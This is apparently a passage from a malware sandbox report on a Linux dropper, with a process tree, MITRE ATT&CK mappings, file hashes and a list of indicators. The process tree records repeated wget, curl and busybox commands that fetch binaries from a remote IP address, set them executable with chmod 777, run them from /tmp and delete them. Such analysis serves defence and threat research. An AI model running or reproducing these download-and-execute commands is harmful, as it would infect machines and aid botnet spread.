  rm 57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  PID:959
- /usr/bin/wget
  wget http://87.120.125.191/bins/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  PID:960
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  PID:962
- /bin/chmod
  chmod 777 QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  ./QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  PID:965
- /usr/bin/wget
  wget http://87.120.125.191/bins/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  PID:966
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  PID:968
- /bin/chmod
  chmod 777 MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  - File and Directory Permissions Modification
  PID:969
- /tmp/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  ./MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  - Executes dropped EXE
  PID:970
- /bin/rm
  rm MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  PID:971
- /usr/bin/wget
  wget http://87.120.125.191/bins/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  PID:972
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:973
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  PID:974
- /bin/chmod
  chmod 777 7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  ./7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  - Executes dropped EXE
  PID:976
- /bin/rm
  rm 7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  PID:977
- /usr/bin/wget
  wget http://87.120.125.191/bins/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  PID:978
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:979
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  PID:980
- /bin/chmod
  chmod 777 3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  - File and Directory Permissions Modification
  PID:981
- /tmp/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  ./3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  - Executes dropped EXE
  PID:982
- /bin/rm
  rm 3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  PID:983

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

Download Submit

ioc	pid	Process
/tmp/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok	740	57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
/tmp/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo	748	QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
/tmp/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P	754	MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
/tmp/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw	768	7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
/tmp/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5	792	mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
/tmp/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0	817	3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
/tmp/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in	823	WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
/tmp/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR	833	DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
/tmp/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss	854	Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
/tmp/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw	874	Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
/tmp/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE	880	rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
/tmp/aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao	886	aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
/tmp/8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf	892	8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf
/tmp/xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5	898	xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5
/tmp/aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao	904	aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
/tmp/8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf	910	8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf
/tmp/xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5	916	xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5
/tmp/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in	922	WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
/tmp/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR	928	DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
/tmp/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss	934	Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
/tmp/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw	940	Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
/tmp/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE	946	rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
/tmp/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5	952	mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
/tmp/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok	958	57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
/tmp/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo	964	QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
/tmp/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P	970	MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
/tmp/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw	976	7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
/tmp/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0	982	3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0